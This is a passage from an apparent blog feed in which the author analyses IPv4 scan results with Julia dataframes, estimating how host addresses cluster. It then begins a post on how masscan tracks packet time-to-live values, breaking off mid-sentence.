&lt;p&gt;This &lt;strong&gt;crude model&lt;/strong&gt; is not free of misinterpretations: two hosts at the end and at the begin of two large subnets, like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mf"&gt;1.255.255.254&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mf"&gt;2.0.0.1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and you will get a difference of 2 but clearly they are at two different subnets.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sort!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unique!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df_diff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;diff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df_diff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;×&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;median&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;nmissing&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;eltype&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Symbol&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;Float64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Float64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kt"&gt;DataType&lt;/span&gt;
&lt;span class="n"&gt;─────┼─────────────────────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;│&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;diff&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="mf"&gt;86.893&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;50359752&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The median tells us that half of the hosts’ IPs differ by 1 or 2 at most. &lt;strong&gt;They are far from being uniformely distributed&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The mean of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mf"&gt;86.893&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; tells us that despite being highly non-uniform, clusters are quite separated each other, generating larger differences in the IP (so the mean moves towards the right).&lt;/p&gt;
&lt;h2 id="rough-estimation-for-cluster-density"&gt;Rough estimation for cluster density&lt;/h2&gt;
&lt;p&gt;We can integrate the difference back to the dataframe as follows:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:diff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Arbitrarily, I chose 0 as the difference for the first IP, that’s why I did a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;insert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Reasonable, I guess.&lt;/p&gt;
&lt;p&gt;If we define that the maximum difference per cluster to 8, we can count how many clusters do we have:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df_cluster_leaders&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:diff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;10822514&lt;/span&gt;&lt;span class="o"&gt;×&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Once again we need to take into account the first cluster that it is counted above because its first host has a difference of 0 so obviously it is not part of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;df_cluster_leaders&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cluster_leaders&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insert!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df_cluster_leaders&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CkRvIG5vdCBsYXVnaC4gVGhpcyBpcyBteSBmaXJzdCB0aW1lIGNvZGluZyBhIGZ1bmN0aW9uIGluIEp1bGlhLCB0cnlpbmcKdG8gZG8gc29tZSBjbG9zdXJlLXRoaW5nLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkRvIG5vdCBsYXVnaC4gVGhpcyBpcyBteSBmaXJzdCB0aW1lIGNvZGluZyBhIGZ1bmN0aW9uIGluIEp1bGlhLCB0cnlpbmcKdG8gZG8gc29tZSBjbG9zdXJlLXRoaW5nLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Do not laugh. This is my first time coding a function in Julia, trying to do some closure-thing.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We can tag then each host of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with the first IP of its cluster, its leader.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ix&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;next_ix&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;assign_leader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cluster_leaders&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;next_ix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;ix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;next_ix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;next_ix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cluster_leaders&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:leader&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;assign_leader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we can group by leader and count how many rows do we have. Remember that we filtered out duplicated IPs so counting the rows effectively is the same that counting how many hosts we have in each cluster.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clusters_g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:leader&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;GroupedDataFrame&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10822515&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;based&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;leader&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From there, we can estimate the clusters’ density:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clusters_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clusters_g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nrow&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clusters_size&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:count&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;Summary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Stats&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="mi"&gt;10822515&lt;/span&gt;
&lt;span class="kt"&gt;Missing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Count&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;Mean&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="mf"&gt;3.978428&lt;/span&gt;
&lt;span class="n"&gt;Minimum&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mf"&gt;1.000000&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Quartile&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mf"&gt;1.000000&lt;/span&gt;
&lt;span class="n"&gt;Median&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="mf"&gt;1.000000&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;rd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Quartile&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mf"&gt;2.000000&lt;/span&gt;
&lt;span class="n"&gt;Maximum&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mf"&gt;212730.000000&lt;/span&gt;
&lt;span class="kt"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Keep in mind that we defined arbitrary the cluster as hosts that do not differ by more than 8 IPs.&lt;/p&gt;
&lt;p&gt;The maximum is also, at least, suspicious. Again, the model used is probably too simplistic.&lt;/p&gt;
&lt;h2 id="further-research"&gt;Further research&lt;/h2&gt;
&lt;p&gt;Indeed, the estimation of the clusters’ density is too &lt;em&gt;coarse&lt;/em&gt; and the numbers are hard to interpret and make compatible with the estimation of the IP distribution.&lt;/p&gt;
&lt;p&gt;Augmenting the dataset with the geolocalization of each host may help.&lt;/p&gt;
&lt;p&gt;Using the TTLs to group the hosts is also possible: even hosts running different OS (and therefore with different default TTLs), the scanner should observe their TTLs decremented by the same factor if the hosts are in the same &lt;em&gt;physical&lt;/em&gt; network.&lt;/p&gt;
&lt;p&gt;Combining this with routing information it would be also helpful.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/11/13/IPv4-Scan-Part-IV-Hop-Distance-and-IP-Distribution.html" rel="alternate" type="text/html" title="IPv4 Scan 2021 - Hop-Distance Average and IP Distribution"/>
    <category term="pandas" label="pandas"/>
    <category term="julia" label="julia"/>
    <category term="categorical" label="categorical"/>
    <category term="ordinal" label="ordinal"/>
    <category term="parquet" label="parquet"/>
    <category term="statistics" label="statistics"/>
    <category term="seaborn" label="seaborn"/>
    <published>2021-11-13T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/10/16/IPv4-Scan-Part-III-Hop-stability.html</id>
    <title>IPv4 Scan 2021 - Hop-Count Route Stability</title>
    <updated>2021-10-16T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;a href="https://github.com/robertdavidgraham/masscan/"&gt;masscan&lt;/a&gt; tracks the &lt;em&gt;time to live&lt;/em&gt; of each packet coming from the host under scan.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClllcyBhbmQgbm86IHRoZXkgc2hvdWxkIG5vdCBidXQgc29tZSBuZXR3b3JrIGRldmljZXMgd2lsbCAqbWFuZ2xlIHRoZSBwYWNrZXRzCmFzIHRoZXkgd2FudCosIGluY2x1ZGluZyBzZXR0aW5nIGFyYml0cmFyeSBUVExzLgoKU2VlIHRoZSBvYnNlcnZhdGlvbnMgZG9uZSBpbiB0aGUKW1RUTCBCb29zdCBwb3N0XSgvYXJ0aWNsZXMvMjAyMS8xMS8xMy9JUHY0LVNjYW4tUGFydC1WLVRUTC1Cb29zdC5odG1sKS4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClllcyBhbmQgbm86IHRoZXkgc2hvdWxkIG5vdCBidXQgc29tZSBuZXR3b3JrIGRldmljZXMgd2lsbCAqbWFuZ2xlIHRoZSBwYWNrZXRzCmFzIHRoZXkgd2FudCosIGluY2x1ZGluZyBzZXR0aW5nIGFyYml0cmFyeSBUVExzLgoKU2VlIHRoZSBvYnNlcnZhdGlvbnMgZG9uZSBpbiB0aGUKW1RUTCBCb29zdCBwb3N0XSgvYXJ0aWNsZXMvMjAyMS8xMS8xMy9JUHY0LVNjYW4tUGFydC1WLVRUTC1Cb29zdC5odG1sKS4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Yes and no: they should not but some network devices will &lt;em&gt;mangle the packets as they want&lt;/em&gt;, including setting arbitrary TTLs.
&lt;br /&gt;&lt;br /&gt;
See the observations done in the &lt;a href="/articles/2021/11/13/IPv4-Scan-Part-V-TTL-Boost.html"&gt;TTL Boost post&lt;/a&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;These time to live (TTL) are numbers between 0 and 255 set by the host. In its journey, the packet goes through different routers that each decrements by one the TTL.&lt;/p&gt;
&lt;p&gt;Once a packet has a TTL of zero, the router will discard it.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkFzc3VtaW5nIHRoYXQgdGhlIHBhY2tldCBnb2VzIHN0cmFpZ2h0LWZvcndhcmQgdG8gdXMuIElmIHRoZXJlIGFyZQoqbG9vcHMqIGluIHRoZSByb3V0aW5nIHN5c3RlbXMsIHRoZSBwYWNrZXQgd2lsbCBsb29wIGJldHdlZW4gdGhlIGRldmljZXMKZ29pbmcgbm93aGVyZS4KPGJyIC8+ClRoYXQncyB0aGUgcG9pbnQgb2YgdGhlIFRUTDogdG8gY2F0Y2ggYW5kIGRyb3AgcGFja2V0cyBsb29waW5nIGFyb3VuZC4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkFzc3VtaW5nIHRoYXQgdGhlIHBhY2tldCBnb2VzIHN0cmFpZ2h0LWZvcndhcmQgdG8gdXMuIElmIHRoZXJlIGFyZQoqbG9vcHMqIGluIHRoZSByb3V0aW5nIHN5c3RlbXMsIHRoZSBwYWNrZXQgd2lsbCBsb29wIGJldHdlZW4gdGhlIGRldmljZXMKZ29pbmcgbm93aGVyZS4KPGJyIC8+ClRoYXQncyB0aGUgcG9pbnQgb2YgdGhlIFRUTDogdG8gY2F0Y2ggYW5kIGRyb3AgcGFja2V0cyBsb29waW5nIGFyb3VuZC4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
